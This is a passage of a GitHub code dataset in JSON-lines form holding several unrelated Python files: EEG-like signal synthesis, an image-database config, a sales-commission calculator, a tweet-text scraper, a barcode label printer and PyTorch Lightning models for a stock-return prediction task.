MAX_AMPLITUDE))\n                initial_phases.append(rand.uniform(0, 2*np.pi))\n                \n\n            pure_signal = generate_pure_signal(initial_frequencies, initial_amplitudes, initial_phases, i+1)\n            noisy_signal = add_noise(pure_signal, i+1)\n            eeg_like_signal = estimate_noisy_signal_missing_values(noisy_signal, i+1)\n\n            pickle.dump([eeg_like_signal, pure_signal], output_file)\n            \n        \nstart_time = time.time()\ncreate_data()\nprint(\"Time Taken: \" + str(time.time() - start_time))\n\n\n# # ----------\n# # Trainer\n# # ----------\n\n# # Variables\n\n# In[2]:\n\ndata_name = \"pure_signal_extraction_data.mem\"\n\n\n# # Random Signal Instance Loader\n\n# In[6]:\n\n# DETERMINES THE INDICES POSITIONS\n\n\nindices = [0]\n\nwith open(data_name, \"rb\") as input_file:\n    try:\n        while True:\n            pickle.load(input_file)\n            indices.append(input_file.tell())\n    except EOFError:\n        pass\n\n    \nwith open(\"pure_signal_extraction_data_indices.mem\", \"wb\") as output_file:\n    pickle.dump(indices, output_file)\n    \nprint(indices)\n\n\n# In[10]:\n\ndef random_signal_loader(static_indices, shuffled_non_static_indices, file_path):\n    training_instance = False\n    \n    if(len(shuffled_non_static_indices) == 0):\n        shuffled_non_static_indices = list(static_indices)\n        rand.shuffle(shuffled_non_static_indices)\n    with open(file_path, \"rb\") as input_file:\n        input_file.seek(shuffled_non_static_indices[0])\n        training_instance = pickle.load(input_file)\n        \n    return training_instance, shuffled_non_static_indices\n\n\n# # ----------------------\n# # TESTING AREA\n# # ----------------------\n\n# # Estimation of what final data will take in memory\n\n# In[127]:\n\n# ESTIMATE SIZE IN MEMORY OF NUMBER OF INSTANCES FOR HALF A HOUR OF DATA COLLECTION AT 128 SAMPLES PER SECOND\nnumber_of_training_instances_to_estimate = 215\n\nwith open(path + \"pure_signal_extraction_data_toy.mem\", \"rb\") as input_file:\n    data = pickle.load(input_file)\n\n\nsize_of_data_when_training = number_of_training_instances_to_estimate*2*sys.getsizeof(data[0][0][0])*SAMPLE_SIZE*FINAL_NUMBER_OF_SAMPLES/1073741824\n\nprint(\"Size of Data in memory when training is approximately: \" +\n          str(size_of_data_when_training) + \" GB.\")\nprint(\"Producing this amount of Data will take approximately: \" +\n          str(215*number_of_training_instances_to_estimate/3600) + \" hours.\")\n\n\n# In[20]:\n\nwith open(\"pure_signal_extraction_data_indices.mem\", \"rb\") as input_file:\n    indices = pickle.load(input_file)\n\nshuffled_indices = []\ndata, shuffled_indices = random_signal_loader(indices, shuffled_indices, \"pure_signal_extraction_data.mem\")\n\nprint(len(data[0]))\n\nprint(\"Size of Data in memory is approximately: \" +\n          str(NUMBER_OF_TRAINING_INSTANCES*2*sys.getsizeof(data[0][0])*len(data[0])/1048576) + \" MB.\")\n\ninit_val = 2500\n\n## FROM THE BEGINNING\n#pure_signal = data[0][1][init_val:init_val+128]\n#no_missing_noisy_signal = data[0][0][init_val:init_val+128]\n\n## FROM THE END\npure_signal = data[1][-(init_val+128):-init_val]\nno_missing_noisy_signal = data[0][-(init_val+128):-init_val]\n\nplt.plot(np.arange(len(pure_signal))/SAMPLING_RATE, pure_signal - min(pure_signal))\nplt.xlabel('Time')\nplt.ylabel('Amplitude')\nplt.show()\n\nplt.plot(np.arange(len(no_missing_noisy_signal))/SAMPLING_RATE, no_missing_noisy_signal - min(no_missing_noisy_signal))\nplt.xlabel('Time')\nplt.ylabel('Amplitude')\nplt.show()\n\n\n# In[140]:\n\nINITIAL_NUMBER_OF_FREQUENCIES = rand.randint(2, 3)\n\ninitial_frequencies = []\ninitial_amplitudes = []\ninitial_phases = []\n\nfor i in range(INITIAL_NUMBER_OF_FREQUENCIES):\n    initial_frequencies.append(ass())\n    initial_amplitudes.append(rand.uniform(0, MAX_AMPLITUDE))\n    initial_phases.append(rand.uniform(0, 2*np.pi))\n    \nprint(initial_frequencies)\nprint(initial_amplitudes)\nprint(initial_phases)\n    \npure_signal = generate_pure_signal(initial_frequencies, initial_amplitudes, initial_phases, 1)\nprint(\"Length of Pure Signal: \" + str(len(pure_signal)))\n\nplt.plot(TIME_STEP/SAMPLING_RATE, pure_signal - min(pure_signal))\nplt.xlabel('Time')\nplt.ylabel('Amplitude')\nplt.show()\n\n\nnoisy_signal = add_noise(pure_signal, 1)\nprint(\"Length of Noisy Signal: \" + str(len(noisy_signal)))\n\nplt.plot(np.arange(len(noisy_signal))/SAMPLING_RATE, noisy_signal - min(noisy_signal))\nplt.xlabel('Time')\nplt.ylabel('Amplitude')\nplt.show()\n\n\nno_missing_noisy_signal = estimate_noisy_signal_missing_values(noisy_signal, 1)\nprint(\"Length of No Missing Noisy Signal: \" + str(len(no_missing_noisy_signal)))\n\nplt.plot(np.arange(len(no_missing_noisy_signal))/SAMPLING_RATE, no_missing_noisy_signal - min(no_missing_noisy_signal))\nplt.xlabel('Time')\nplt.ylabel('Amplitude')\nplt.show()\n\n\n# In[154]:\n\ndef plotSpectrum(y,Sr, ratio_of_bins, stimulus_time, top_N_frequencies=3):\n    \"\"\"Plots a Single-Sided Amplitude Spectrum of y(t)\"\"\"\n    n = len(y) # length of the signal\n    \n    k = np.arange(n*ratio_of_bins)\n    T = n*ratio_of_bins/Sr\n    \n    frq = k/T # two sides frequency range\n    frq = frq[range(n*ratio_of_bins//2)] # one side frequency range\n\n    Y = fft(y, int(ratio_of_bins*n))/n # fft computing and normalization\n    Y = Y[range(n*ratio_of_bins//2)]\n    a = np.array(np.abs(Y))\n    print(\"Length a: \" + str(len(a)))\n    #print(\"Highest Amplitude Frequency: \" + str(np.argmax(a)/(ratio_of_bins*stimulus_time)))\n    ordered_array = np.copy(a)\n    ordered_array = ordered_array.argsort()[-top_N_frequencies:][::-1]/(ratio_of_bins*stimulus_time)\n    print(\"Highest Amplitude Frequencies: \" +\n          str(ordered_array))\n\n    plt.plot(frq,abs(Y),'r') # plotting the spectrum\n    plt.xlabel('Freq (Hz)')\n    plt.ylabel('|Y(freq)|')\n    \n\nINITIAL_NUMBER_OF_FREQUENCIES = rand.randint(2, 3)\n\ninitial_frequencies = []\ninitial_amplitudes = []\n\nfor i in range(INITIAL_NUMBER_OF_FREQUENCIES):\n    initial_frequencies.append(ass())\n    initial_amplitudes.append(rand.uniform(0, MAX_AMPLITUDE))\n    \nprint(initial_frequencies)\nprint(initial_amplitudes)    \n    \nsignal_data = generate_pure_signal(initial_frequencies, initial_amplitudes)\nsignal_data = add_noise(signal_data)\nsignal_data = estimate_noisy_signal_missing_values(signal_data)\nnumber_of_samples = SIGNAL_SIZE\n\nratio_of_bins = 4\nstimulus_time = STIMULUS_DURATION\nSr = number_of_samples/stimulus_time;  # sampling rate\nprint(\"Sampling Rate: \" + str(Sr))\nTs = 1/Sr; # sampling interval\nt = np.arange(0,stimulus_time,Ts) # time vector\n\n\nprint(\"Frequency Band: [\" + str(0) + \" ; \" + str(Sr/2) + \"]\")\n\nplt.subplot(2,1,1)\nplt.plot(t,signal_data)\nplt.xlabel('Time')\nplt.ylabel('Amplitude')\nplt.subplot(2,1,2)\nplotSpectrum(signal_data, Sr, ratio_of_bins, stimulus_time, top_N_frequencies = 5)\nplt.show()\n\n\n# # OLD CODE THAT HAS BEEN IMPROVED\n\n# In[134]:\n\ndef estimate_noisy_signal_missing_values_OLD(noisy_signal, training_instance_number):\n    \n    no_missing_noisy_signal = list(noisy_signal)\n    \n    #print(\"\\rEstimating Noisy Signal Missing Values of training instance \" + \n    #         str(training_instance_number) + \" of \" + str(NUMBER_OF_TRAINING_INSTANCES) + \".\", end=\"\")\n    \n    while(len(no_missing_noisy_signal) < SIGNAL_SIZE):\n        i = rand.randint(1, len(no_missing_noisy_signal) - 2) # IGNORES THE BEGINNING AND END OF THE LIST\n        estimated_element = (no_missing_noisy_signal[i - 1] + no_missing_noisy_signal[i + 1])/2\n        no_missing_noisy_signal = no_missing_noisy_signal[:i] + [estimated_element] + no_missing_noisy_signal[i:]\n        \n    return no_missing_noisy_signal\n\n","repo_name":"tom-pelsmaeker/Project-AI","sub_path":"code/NeuralSignalDecoder.py","file_name":"NeuralSignalDecoder.py","file_ext":"py","file_size_in_byte":14513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"42605979452","text":"import os\n\n\nclass config():\n    def __init__(self):\n\n        \"\"\"\n        User configuration for creating and updating\n        the serrelab image database\n        \"\"\"\n        self.db_schema_file = os.path.join('settings', 'db_schema.txt')\n        self.relative_path_pointer = '/media/data_cifs/'\n\n        # Path to search for images\n        self.experiment_names = [\n            'clicktionary',\n        ]\n        self.parent_experiments = [\n            'ILSVRC12'\n        ]\n        self.label_names = [\n            'animal_vehicle'\n        ]\n        self.image_paths = [\n            None\n        ]\n        self.label_paths = [\n            'animal_vehicle.txt'\n        ]\n        self.encoding = 'rgb'  # Need to automate this eventually...\n        self.image_file_filter = '*.JPEG'\n        self.image_key = 'synset'\n        self.force_channels = 1\n\n        self.child_dataset = None\n        self.skip_label_order = True\n\n    def __getitem__(self, name):\n        return getattr(self, name)\n\n    def __contains__(self, name):\n        return hasattr(self, name)\n","repo_name":"drewlinsley/imagedatabase","sub_path":"settings/clicktionary_config.py","file_name":"clicktionary_config.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"30837729702","text":"\n'''\nGoal: Calculate the total commission earned by a sales rep for a given period of time\nDate: 03/30/2023\nAuthor: Saba Sajjadi\n'''\n\n#Importing required python packages\nimport pandas as pd\nimport json\nfrom datetime import datetime\n\nclass Commission:\n    def __init__(self):\n        # Initialize the deals and products dataframes as None\n        self.deals = None\n        self.products = None\n    \n    def load_dataframes(self):\n        try:\n            # Load the datasets as dataframes\n            with open('Deals.json') as f:\n                self.deals = pd.read_json(f)\n            with open('Products.json') as f:\n                self.products = pd.read_json(f)\n        except FileNotFoundError:\n             # If one or both of the data files are missing, print a message and exit the function\n            print(\"One or both of the data files are missing.\")\n    \n    def total_commission(self, sales_rep_name, start_date, end_date):\n        # If the deals or products dataframes have not been loaded yet, load them\n        if self.deals is None or self.products is None:\n            self.load_dataframes()\n        \n        # Check if the sales rep name is valid\n        if sales_rep_name not in self.deals['sales_rep_name'].unique():\n            # Print an error message and return None\n            print(f\"{sales_rep_name} is not a valid sales rep name.\")\n            return None\n        \n        # Check if the start date and end date are valid dates\n        try:\n            start_date = pd.to_datetime(start_date)\n            end_date = pd.to_datetime(end_date)\n        except ValueError:\n            # Print an error message and return None\n            print(\"The start date or end date is not a valid date.\")\n            return None\n        \n        # Filter the deals dataframe based on the sales rep name and date range\n        deals = self.deals[(self.deals['sales_rep_name'] == sales_rep_name) & (self.deals['date'] >= start_date) & (self.deals['date'] <= end_date)]\n\n        # Merge the filtered deals dataframe with the products dataframe\n        merged = pd.merge(deals, self.products, left_on='product_id', right_on='id', how='left')\n\n        # Calculate the commission for each sale\n        merged['commission'] = merged['quantity_products_sold'] * merged['product_amount'] * merged['commission_rate']\n\n        # Group the merged dataframe by sales rep name and sum the commissions\n        result = merged.groupby('sales_rep_name')['commission'].sum().get(sales_rep_name, 0)\n\n        # Return the total commission for the given sales rep name\n        return result\n","repo_name":"sabasajjadi/Commission-Calculator","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":2587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"43753907365","text":"#!/usr/bin/python\n\nr\"\"\"\nDownload Tweets. Similar to the one from Inaki San Vicente, but working.\n\nThe input file has to contain the tweet ids of the tweets to download in the\nTREC microblog task format:\n\n    tweetid<tab>userid<tab>language\n\nThe output is CSV:\n\n           \"statusId \\t userId \\t lang \\t tweet_text\\n\"\n           \"statusId \\t userId \\t lang \\t 'Not Available'\\n\"\n           ...\n\"\"\"\n\nimport codecs\nimport re\nimport urllib\n\nfrom bs4 import BeautifulSoup\n\n__version__ = '0.1'\n\n\ndef main(in_file, out_file):\n    \"\"\"Main file to parse the input, get tweets and return an output.\"\"\"\n    cache = {}\n\n    for line in open(in_file):\n        fields = unicode(line).rstrip('\\n').split('\\t')\n\n        sid = fields[0]\n        uid = fields[1]\n\n        # url = 'http://twitter.com/%s/status/%s' % (uid, sid)\n        # print \"debug: \"+uid+\"  \"+sid+\"\\n\"\n\n        text = \"Not Available\"\n        if sid in cache:\n            text = cache[sid]\n        else:\n            try:\n                # get status page\n                f = urllib.urlopen(\"http://twitter.com/%s/status/%s\" %\n                                   (uid, sid))\n                encoding = f.headers['content-type'].split('charset=')[-1]\n                ucontent = unicode(f.read(), encoding)\n\n                # parse with Beautiful soup\n                html = ucontent.replace(\"</html>\", \"\") + \"</html>\"\n                soup = BeautifulSoup(html)\n                # small elements contain the status ids\n                small = soup.select(\"small > a\")\n                # p elements next to small elements have the tweet content\n                p = soup.find_all(\"p\", attrs={'class': \"js-tweet-text\"})\n                # search for the tweet with the correct status id.\n                for i in range(len(small)):\n                    regex = re.escape(sid)\n                    if re.search(regex, str(small[i])):\n                        text = p[i].get_text()\n                        cache[sid] = text\n                        break\n\n            except Exception:\n                continue\n\n        text = text.replace('\\n', ' ')\n        text = re.sub(r'\\s+', ' ', text)\n\n        with codecs.open(out_file, 'a+', encoding='utf-8') as file:\n            file.write(\"\\t\".join(fields + [text]) + \"\\n\")\n\n\ndef get_parser():\n    \"\"\"Get parser object for script xy.py.\"\"\"\n    from argparse import ArgumentDefaultsHelpFormatter, ArgumentParser\n    parser = ArgumentParser(description=__doc__,\n                            formatter_class=ArgumentDefaultsHelpFormatter)\n    parser.add_argument(\"-i\", \"--input\",\n                        dest=\"in_file\",\n                        help=\"File with Twitter IDs\",\n                        metavar=\"FILE\",\n                        required=True)\n    parser.add_argument(\"-o\", \"--output\",\n                        dest=\"out_file\",\n                        help=\"Fetched data\",\n                        metavar=\"FILE\",\n                        required=True)\n    return parser\n\n\nif __name__ == \"__main__\":\n    args = get_parser().parse_args()\n    main(args.in_file, args.out_file)\n","repo_name":"MartinThoma/algorithms","sub_path":"ML/nlp/download_tweets.py","file_name":"download_tweets.py","file_ext":"py","file_size_in_byte":3057,"program_lang":"python","lang":"en","doc_type":"code","stars":231,"dataset":"github-code","pt":"16"}
+{"seq_id":"21688749178","text":"# -*- coding: utf-8 -*-\nfrom reportlab.pdfgen import canvas\nfrom reportlab.lib.units import mm\nfrom svglib.svglib import svg2rlg\nimport win32print,win32api\nimport ConfigParser\nimport barcode\nbarcode.PROVIDED_BARCODES\n[u'code39', u'code128', u'ean', u'ean13', u'ean8', u'gs1', u'gtin',u'isbn', u'isbn10', u'isbn13', u'issn', u'jan', u'pzn', u'upc', u'upca']\n\n\n#width2=58mm\n#height2=28mm\n#label gap=2mm\nwidth=164.409\nheight=79.3701\n\nc = canvas.Canvas(\"label.pdf\", pagesize=(width,height),bottomup = 1)\nconfig = ConfigParser.RawConfigParser()\nconfig.read('barcode.ini')\nconfiglist=config.sections()\n\ndef output(c,section):\n    c.translate(mm,mm)\n    yline=60\n    xline=10\n    for (key, val) in config.items(section):\n        if(key == 'title'):\n            c.setFont(\"Helvetica\",5)\n            c.drawCentredString (width/2, yline, val)\n            yline=yline-6\n        elif(key == 'barcode'):\n\n            barcode.Code39(val,add_checksum = True).save(\"barcode\")\n\n            drawing = svg2rlg(\"barcode.svg\")\n            drawing.scale(1,0.5)\n            drawing.drawOn(c,28,24)\n            yline=yline-38\n\n        elif(key == 'DESCRIPTION'):\n            c.setFont(\"Helvetica\",5)\n            c.drawCentredString (50, yline, val)\n        else:\n            c.setFont(\"Helvetica\",5)\n            c.drawCentredString (width/2, yline, val)\n            yline=yline-6\n\nfor section in configlist:\n    output(c,section)\n    c.showPage()\n\nc.save()\n\nGHOSTSCRIPT_PATH = \"GHOSTSCRIPT\\\\bin\\\\gswin32.exe\"\nGSPRINT_PATH = \"GSPRINT\\\\gsprint.exe\"\n\ncurrentprinter = win32print.GetDefaultPrinter()\nwin32api.ShellExecute(0, 'open', GSPRINT_PATH, '-ghostscript \"'+GHOSTSCRIPT_PATH+'\" -printer \"'+currentprinter+'\" \"label.pdf\"', '.', 0)  # lint:ok\n","repo_name":"hazman1yusof/python_dist","sub_path":"uitm_sgbuloh_barcode/stocklabel.py","file_name":"stocklabel.py","file_ext":"py","file_size_in_byte":1719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"26577146207","text":"from sklearn.metrics import roc_auc_score\nfrom scipy.stats import beta\n\nimport torch\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport torch.nn as nn\nfrom torch.utils.data import DataLoader, Dataset\n\nimport pytorch_lightning as pl\nfrom pytorch_lightning import LightningModule\n\n\n\nclass UbiquantMultiTask(LightningModule):\n\n    def __init__(self, input_width):\n\n        super(UbiquantMultiTask, self).__init__()\n\n        hidden1 = int(input_width*1.2)\n        hidden2 = int(input_width*0.6)\n\n        self.batch_norm1 = nn.BatchNorm1d(input_width)\n        self.batch_norm2 = nn.BatchNorm1d(hidden1)\n        self.batch_norm3 = nn.BatchNorm1d(hidden2)\n\n        self.dense1 = nn.Linear(input_width, hidden1)\n        self.dense2 = nn.Linear(hidden1, hidden2)\n        self.dense3 = nn.Linear(hidden2, hidden2)\n\n        self.dropout1 = torch.nn.Dropout(p=0.5)\n        self.dropout2 = torch.nn.Dropout(p=0.5)\n        self.dropout3 = torch.nn.Dropout(p=0.5)\n\n        self.linear = nn.Linear(hidden2, 6)\n\n    def forward(self, x):\n\n        x = self.batch_norm1(x)\n        x = self.dense1(x)\n        x = torch.relu(x)\n        x = self.dropout1(x)\n\n        x = self.batch_norm2(x)\n        x = self.dense2(x)\n        x = torch.relu(x)\n        x = self.dropout2(x)\n\n        x = self.batch_norm3(x)\n        x = self.dense3(x)\n        x = torch.relu(x)\n        x = self.dropout3(x)\n\n        return self.linear(x)\n\n    def configure_optimizers(self):\n\n        optimizer = torch.optim.Adam(self.parameters(), lr=3e-3)\n        sccheduler = optim.lr_scheduler.ReduceLROnPlateau(optimizer, mode='max', patience=1, factor=1/3, verbose=True, min_lr=1e-3)\n        return [optimizer], {'scheduler': sccheduler, 'monitor': 'val_corr_resp'}\n\n    def training_step(self, train_batch, batch_idx):\n\n        x, context, strat_corrs = train_batch\n\n        return self.process_batch(x, context, strat_corrs, 'train', batch_idx)\n\n    def validation_step(self, val_batch, batch_idx):\n\n        x, context, strat_corrs = val_batch\n\n        self.process_batch(x, context, strat_corrs, 'val', batch_idx)\n\n    def process_batch(self, x, context, strat_corrs, prefix, batch_idx):\n\n        targets_slow     = context[:,3]\n        targets_slow_std = context[:,4]\n        targets_fast     = context[:,5]\n        targets_fast_std = context[:,6]\n\n        targets_responses = torch.column_stack((    targets_slow, targets_fast, \n                                                    torch.normal(mean=targets_slow,std=targets_slow_std),\n                                                    torch.normal(mean=targets_fast,std=targets_fast_std)))\n\n        targets_corrs = torch.column_stack((strat_corrs,torch.normal(mean=strat_corrs,std=1)))\n\n        time_ids = context[:,0].reshape(-1,1)\n\n        if prefix == 'train':\n            x, targets_responses, targets_corrs, time_ids = self.blend(x, targets_responses, targets_corrs, time_ids, ab=0.2)\n\n        targets_slow = targets_responses[:,0].reshape(-1,1)\n        targets_fast = targets_responses[:,1].reshape(-1,1)\n        targets_resp = targets_slow + targets_fast\n\n        noisy_targets_slow = targets_responses[:,2].reshape(-1,1)\n        noisy_targets_fast = targets_responses[:,3].reshape(-1,1)\n\n        targets_strat_corrs = targets_corrs[:,:3]\n        noisy_targets_strat_corrs = targets_corrs[:,3:]\n\n        if prefix == 'train':\n            logits = self.forward(x)\n        else:\n            with torch.no_grad():\n                logits = self.forward(x)\n\n        estimate_resp = logits[:,0].reshape(-1,1)\n        estimate_slow = logits[:,1].reshape(-1,1)\n        estimate_fast = logits[:,2].reshape(-1,1)\n        estimate_strat_corrs = logits[:,3:]\n\n        noisy_targets_slow = torch.normal(mean=noisy_targets_slow,std=0.1*torch.abs(noisy_targets_slow))\n        noisy_targets_fast = torch.normal(mean=noisy_targets_fast,std=0.1*torch.abs(noisy_targets_fast))\n        noisy_targets_resp = torch.normal(mean=noisy_targets_slow+noisy_targets_fast,std=0.1*torch.abs(noisy_targets_slow+noisy_targets_fast))\n        noisy_targets_strat_corrs = torch.normal(mean=noisy_targets_strat_corrs,std=1*torch.abs(noisy_targets_strat_corrs))\n\n        noisy_stratcorr_0 = 1.*(noisy_targets_strat_corrs[:,0]>0)\n        stratcorr_0_ce = F.binary_cross_entropy_with_logits(estimate_strat_corrs[:,0], noisy_stratcorr_0)\n        try:\n            stratcorr_0 = 1.*(targets_strat_corrs[:,0]>0)\n            stratcorr_0_probs = torch.sigmoid(estimate_strat_corrs[:,0]).detach().cpu()\n            strat_roc_auc_0 = roc_auc_score(y_true=stratcorr_0.detach().cpu().numpy(), y_score=stratcorr_0_probs.detach().cpu().numpy())\n        except Exception as ex:\n            strat_roc_auc_0 = 0.5\n\n        noisy_stratcorr_1 = 1.*(noisy_targets_strat_corrs[:,1]>0)\n        stratcorr_1_ce = F.binary_cross_entropy_with_logits(estimate_strat_corrs[:,1], noisy_stratcorr_1)\n        try:\n            stratcorr_1 = 1.*(targets_strat_corrs[:,1]>0)\n            stratcorr_1_probs = torch.sigmoid(estimate_strat_corrs[:,1]).detach().cpu()\n            strat_roc_auc_1 = roc_auc_score(y_true=stratcorr_1.detach().cpu().numpy(), y_score=stratcorr_1_probs.detach().cpu().numpy())\n        except Exception as ex:\n            strat_roc_auc_1 = 0.5\n\n        noisy_stratcorr_2 = 1.*(noisy_targets_strat_corrs[:,2]>0)\n        stratcorr_2_ce = F.binary_cross_entropy_with_logits(estimate_strat_corrs[:,2], noisy_stratcorr_2)\n        try:\n            stratcorr_2 = 1.*(targets_strat_corrs[:,2]>0)\n            stratcorr_2_probs = torch.sigmoid(estimate_strat_corrs[:,2]).detach().cpu()\n            strat_roc_auc_2 = roc_auc_score(y_true=stratcorr_2.detach().cpu().numpy(), y_score=stratcorr_2_probs.detach().cpu().numpy())\n        except Exception as ex:\n            strat_roc_auc_2 = 0.5\n\n        noisy_corr_slow_loss, best_fit_slow = self.day_metric_mean(estimate_slow, noisy_targets_slow, time_ids, clip_value=0.55, is_loss=True)\n        noisy_corr_fast_loss, best_fit_fast = self.day_metric_mean(estimate_fast, noisy_targets_fast, time_ids, clip_value=0.45, is_loss=True)\n        noisy_corr_resp_loss, best_fit_resp = self.day_metric_mean(estimate_resp, noisy_targets_resp, time_ids, clip_value=0.3, is_loss=True)\n\n        loss_daycorr = noisy_corr_resp_loss + noisy_corr_slow_loss + noisy_corr_fast_loss\n        loss_stratcorr = stratcorr_0_ce + stratcorr_1_ce + stratcorr_2_ce\n        loss = loss_daycorr + loss_stratcorr\n\n        self.log(prefix+'_loss', loss)\n        self.log(prefix+'_loss_daycorr', loss_daycorr)\n        self.log(prefix+'_loss_stratcorr', loss_stratcorr)\n\n        self.log(prefix+'_corr_slow', self.day_metric_mean(estimate_slow, targets_slow, time_ids)[0])\n        self.log(prefix+'_corr_fast', self.day_metric_mean(estimate_fast, targets_fast, time_ids)[0])\n        self.log(prefix+'_corr_resp', self.day_metric_mean(estimate_resp, targets_resp, time_ids)[0])\n\n        self.log(prefix+'_strat_pc0_roc_auc',strat_roc_auc_0)\n        self.log(prefix+'_strat_pc1_roc_auc',strat_roc_auc_1)\n        self.log(prefix+'_strat_pc2_roc_auc',strat_roc_auc_2)\n\n        # self.log(prefix+'_best_fit_slow',best_fit_slow)\n        # self.log(prefix+'_best_fit_fast',best_fit_fast)\n        # self.log(prefix+'_best_fit_resp',best_fit_resp)\n\n        return loss\n\n\n    def blend(self, x, signals, day_pcs, time_ids, only_from_same_day=False, ab=0.4):\n\n        def blend_aux(feat, resp, dpcs, tids, ab=0.4):\n\n            blended = [], [], [], []\n\n            if len(feat) < 2:\n                blended[0].append(feat)\n                blended[1].append(resp)\n                blended[2].append(dpcs)\n                blended[3].append(tids)\n            else:\n\n                if len(feat) % 2 > 0:\n                    feat = feat[:-1]\n                    resp = resp[:-1]\n                    dpcs = dpcs[:-1]\n                    tids = tids[:-1]\n\n                b = torch.tensor(beta.rvs(ab, ab, size=len(feat)//2), device='cuda', dtype=torch.float32).reshape(-1,1)\n\n                blended[0].append(b * feat[::2] + (1-b) * feat[1::2])\n                blended[1].append(b * resp[::2] + (1-b) * resp[1::2])\n                blended[2].append(b * dpcs[::2] + (1-b) * dpcs[1::2])\n                blended[3].append( torch.where(b > 0.5, tids[::2], tids[1::2]) )\n\n            return torch.vstack(blended[0]), torch.vstack(blended[1]), torch.vstack(blended[2]), torch.vstack(blended[3])\n\n        if only_from_same_day:\n\n            blended = [], [], [], []\n\n            for time_id in torch.unique(time_ids):\n\n                idx = torch.where(time_ids == time_id)[0]\n\n                if len(idx) < 2:\n                    blended[0].append(x[idx])\n                    blended[1].append(signals[idx])\n                    blended[2].append(day_pcs[idx])\n                    blended[3].append(time_ids[idx])\n                else:\n                    \n                    day_bends = blend_aux(x[idx], signals[idx], day_pcs[idx], time_ids[idx], ab)\n                    blended[0].append(day_bends[0])\n                    blended[1].append(day_bends[1])\n                    blended[2].append(day_bends[2])\n                    blended[3].append(day_bends[3])\n\n            return torch.vstack(blended[0]), torch.vstack(blended[1]), torch.vstack(blended[2]), torch.vstack(blended[3])\n        else:\n\n            return blend_aux(x, signals, day_pcs, time_ids, ab)\n\n\n    def day_metric_mean(self, estimates, targets, day_ids, clip_value=1, is_loss=False, method='pearson'):\n\n        day_metrics = []\n        day_weights = []\n\n        for day_id in torch.unique(day_ids):\n\n            idx = day_ids == day_id\n\n            e = estimates[idx]\n            t = targets[idx]\n\n            if len(e) < 2:\n                continue\n\n            try:\n                if is_loss:\n\n                    if method=='pearson':\n                        day_metric = -self.pearson_corr(e,t)\n                        day_metric = torch.clip(day_metric, -clip_value, 1)\n                    elif method=='mse':\n                        day_metric = F.mse_loss(e, t)\n                    else:\n                        print('unknown loss function')\n                else:\n                    if method=='pearson':\n                        day_metric = self.pearson_corr(e,t)\n                    elif method=='mse':\n                        day_metric = F.l1_loss(e, t)\n                    else:\n                        print('unknown loss function')\n            except Exception as ex:\n                print('day_metric_mean error:',ex)\n                continue\n\n            day_metrics.append(day_metric)\n\n            length = torch.tensor(len(e), dtype=torch.float32, device=torch.device('cuda'), requires_grad=is_loss)\n            day_weights.append(length)\n\n        if len(day_metrics) == 0:\n\n            return torch.tensor(0, device='cuda', requires_grad=is_loss), torch.tensor(0, device='cuda', requires_grad=is_loss)\n\n        day_metrics = torch.stack(day_metrics)\n        day_weights = torch.stack(day_weights)\n\n        return torch.sum(day_metrics * day_weights) / torch.sum(day_weights), torch.min(day_metrics)\n\n    def pearson_corr(self, x, y):\n\n        cos = nn.CosineSimilarity(dim=0, eps=1e-6)\n        return cos(x - x.mean(dim=0, keepdim=True), y - y.mean(dim=0, keepdim=True))\n\n    def pearson_corr_weighted(self, x, y, w):\n\n        raise NotImplementedError()\n\n        vx = x - torch.mean(x)\n        vy = y - torch.mean(y)\n\n        num = torch.sum(vx * vy)\n        dem = (torch.sqrt(torch.sum(vx**2)) * torch.sqrt(torch.sum(vy**2)))\n\n        return num / dem\n\n\n\n\n\n\n\nclass PastResponseRegressorDataSet(Dataset):\n    \n    def __init__(self, features, targets):\n\n        super(PastResponseRegressorDataSet, self).__init__()\n\n        self.features = features\n        self.targets = targets\n\n    def __len__(self):\n\n        return len(self.features)\n\n    def __getitem__(self, ndx):\n\n        return self.features[ndx], self.targets[ndx]\n\nclass PastResponseRegressorData(pl.LightningDataModule):\n\n    def __init__(self, feats, targets, is_train):\n\n        super(PastResponseRegressorData, self).__init__()\n\n        self.train_ds = PastResponseRegressorDataSet(feats[is_train], targets[is_train])\n        self.val_ds   = PastResponseRegressorDataSet(feats[~is_train], targets[~is_train])\n\n    def train_dataloader(self):\n\n        return DataLoader(self.train_ds, batch_size=8192, shuffle=True)\n\n    def val_dataloader(self):\n\n        return DataLoader(self.val_ds, batch_size=8192, shuffle=False)\n\nclass PastResponseRegressor(LightningModule):\n\n    def __init__(self, input_width):\n\n        super(PastResponseRegressor, self).__init__()\n\n        hidden1 = input_width//2\n        hidden2 = input_width//4\n\n        self.dense1 = nn.Linear(input_width, hidden1)\n        self.dense2 = nn.Linear(hidden1, hidden2)\n\n        self.linear = nn.Linear(hidden2, 2)\n\n    def forward(self, x):\n\n        x = torch.relu(self.dense1(x))\n        x = torch.relu(self.dense2(x))\n\n        return self.linear(x)\n\n    def configure_optimizers(self):\n\n        optimizer = torch.optim.Adam(self.parameters(), lr=3e-3)\n        sccheduler = optim.lr_scheduler.ReduceLROnPlateau(optimizer, mode='min', patience=1, factor=1/3, verbose=False)\n        return [optimizer], {'scheduler': sccheduler, 'monitor': 'val_mae'}\n\n    def training_step(self, train_batch, batch_idx):\n\n        x, c = train_batch\n        l = self.forward(x)\n\n        return F.mse_loss(l[:,0].reshape(-1,1), c[:,0].reshape(-1,1)) + F.mse_loss(l[:,1].reshape(-1,1), c[:,1].reshape(-1,1))\n\n    def validation_step(self, val_batch, batch_idx):\n\n        x, c = val_batch\n        l = self.forward(x)\n        \n        self.log('val_mae',F.l1_loss(l[:,0].reshape(-1,1), c[:,0].reshape(-1,1)) + F.l1_loss(l[:,1].reshape(-1,1), c[:,1].reshape(-1,1)))\n\n","repo_name":"codefluence/trading","sub_path":"ubiquant/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":13724,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
